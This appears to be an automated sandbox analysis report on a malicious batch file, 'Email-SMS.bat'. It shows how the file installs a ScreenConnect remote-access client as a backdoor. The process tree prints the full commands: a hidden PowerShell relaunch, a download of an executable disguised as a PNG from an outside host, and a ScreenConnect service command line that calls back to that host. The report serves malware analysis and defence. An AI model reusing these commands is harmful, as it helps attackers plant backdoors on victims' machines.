Analysis

  • max time kernel
    300s
  • max time network
    275s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    06/06/2026, 03:38

General

  • Target
    Email-SMS.bat
  • Size 2KB
  • Sample260606-d69a2aaz3q
  • SHA256 c500045c9fe2364f665c52fcd97058f1b2731c28bafbb252b987eda7368cbe16
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Email-SMS.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\Email-SMS.bat\" hide' -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4444
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Email-SMS.bat" hide
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "& {Invoke-WebRequest -Uri 'http://ostazna.com/test/download.png' -OutFile 'download.png'}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
        • C:\instax\Statement.view.exe
          "Statement.view.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:244
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\a215ff1cba525c86\ScreenConnect.ClientSetup.msi"
            5⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:1236
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          4⤵
          • Delays execution with timeout.exe
          PID:1032
        • C:\Windows\system32\tasklist.exe
          tasklist /fi "imagename eq Statement.view.exe"
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3956
        • C:\Windows\system32\find.exe
          find /i "Statement.view.exe"
          4⤵
            PID:1352
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2040
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 74210E870D4FD3263972BDBB4540A048 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3304
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240672140 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4452
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:4124
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 87C9089F7DCA0496AAACC388E40615F2
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:4920
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 2A32AAF6E56976471E57A9EBE0116B6A E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2092
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:3404
      • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ostazna.com&p=8041&s=449de481-12aa-4602-b2ef-7eb84d28ecc0&k=BgIAAACkAABSU0ExAAgAAAEAAQDVJNRWpfSybu0stgJc2PWC%2fLLwlFaMCz987D6I3vQYHUJGvJACa06XnpE9Gf%2b6DNN2yX7UYMiiMI%2bnapA0qwaG2HQQUakv5j67xyqUtwMPYxuYNuRCTPOe9H1fqOLPLrOLlr5DbvdI1SKoAIBmVtV0HQmiXJvwsCknUVCuovNFrqykK0vRl9ncZKGocU5OjBjPqjPlxyR%2fWAlqt0eI8BeZIyOSltwHORED%2fmS1xM6sOUODQ%2fBlrDeqWpQB73dHZc5FaxZ3t2ONn3P57PhQ1C2WaoFfwAfDw2i5JutBA5eSTi4HlrguH3x%2fOZ%2f2ASojpFpEo2bVngAvbsyjEY9azy%2fu&c=Moha%20INC&c=&c=&c=&c=&c=&c=&c="
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2456
        • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe" "RunRole" "9bcade21-0ba5-4a9f-b3ff-c8ffc3dc93a6" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:1572
        • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe" "RunRole" "a1ba3228-f96e-4612-adf6-eb85398947c6" "System"
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:1032

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e589297.rbs

            • Path C:\Config.Msi\e589297.rbs
            • Size 214KB
            • SHA256 c6302f2bc7575a3a3f9540717b4ffa16a16fb6074cfaa496dae431f2defde202
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\system.config
            • Size 935B
            • SHA256 ea7f1fdc9552985bdd5f95ecfd36c016d283b09e38c8c3327cc64807c0af819e
            • MD5 SHA1 SHA512 TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b7a310f65a970fe4c65c8f9a83f7d402f8527b216a38b17336add7218c5613a5
            • MD5 SHA1 SHA512 TLSH

            MSI5D4E.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI5D4E.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\a215ff1cba525c86\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 bd12f3870898c162319d9a41042dec634024c38916ef7b9d261241f18d7002a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_0nvebgdj.b1i.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0nvebgdj.b1i.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            MSI93A1.tmp

            • Path C:\Windows\Installer\MSI93A1.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            download.png

            • Path C:\instax\download.png
            • Size 5.4MB
            • SHA256 5ed3d75822283b56cac78ab9007248342512c275eea6647cd7f77ddad13e725b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.6MB
            • SHA256 9932f302e660c997aa566433f20625da0bf8846778a701aef0388ae1a4ef261d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {0d8c3ed6-ac1c-43cc-affe-4222de6673e9}_OnDiskSnapshotProp

            • Path \??\Volume{b99e3a64-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{0d8c3ed6-ac1c-43cc-affe-4222de6673e9}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 cacedc749906a01780b9439580d810bb5d6a04f9022107821ec72eeb653923f4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/244-33-0x00000000055E0000-0x00000000058D2000-memory.dmp

            memory/244-34-0x0000000005170000-0x00000000051FE000-memory.dmp

            memory/244-35-0x0000000001430000-0x0000000001452000-memory.dmp

            memory/244-36-0x00000000052E0000-0x000000000548C000-memory.dmp

            memory/244-37-0x0000000005E80000-0x0000000006426000-memory.dmp

            memory/244-32-0x0000000000D90000-0x0000000000D98000-memory.dmp

            memory/1152-23-0x000002651CA60000-0x000002651CA70000-memory.dmp

            memory/1152-15-0x000002651CA60000-0x000002651CA70000-memory.dmp

            memory/1152-24-0x000002651CA60000-0x000002651CA70000-memory.dmp

            memory/1152-14-0x000002651CA60000-0x000002651CA70000-memory.dmp

            memory/1572-161-0x000000001E260000-0x000000001E3E8000-memory.dmp

            memory/1572-156-0x0000000000600000-0x0000000000698000-memory.dmp

            memory/1572-162-0x0000000000FC0000-0x0000000000FD8000-memory.dmp

            memory/1572-158-0x0000000000FE0000-0x0000000001016000-memory.dmp

            memory/1572-159-0x000000001C9D0000-0x000000001CA5E000-memory.dmp

            memory/1572-163-0x0000000002800000-0x0000000002818000-memory.dmp

            memory/1572-160-0x000000001CE70000-0x000000001D01C000-memory.dmp

            memory/1572-164-0x0000000002820000-0x0000000002861000-memory.dmp

            memory/2456-133-0x0000000003CF0000-0x0000000003D82000-memory.dmp

            memory/2456-135-0x0000000003A60000-0x0000000003AA1000-memory.dmp

            memory/2456-128-0x00000000039D0000-0x0000000003A20000-memory.dmp

            memory/2456-117-0x0000000003770000-0x0000000003788000-memory.dmp

            memory/2456-137-0x0000000003EE0000-0x0000000003FB5000-memory.dmp

            memory/2456-132-0x0000000003A20000-0x0000000003A56000-memory.dmp

            memory/4444-0-0x00000263A9470000-0x00000263A9480000-memory.dmp

            memory/4444-1-0x00000263A93E0000-0x00000263A9402000-memory.dmp

            memory/4444-8-0x00000263A9470000-0x00000263A9480000-memory.dmp

            memory/4452-74-0x0000000004E90000-0x000000000503C000-memory.dmp

            memory/4452-70-0x0000000002890000-0x000000000291E000-memory.dmp

            memory/4452-66-0x0000000002790000-0x000000000279A000-memory.dmp

            memory/4452-62-0x0000000002750000-0x000000000277E000-memory.dmp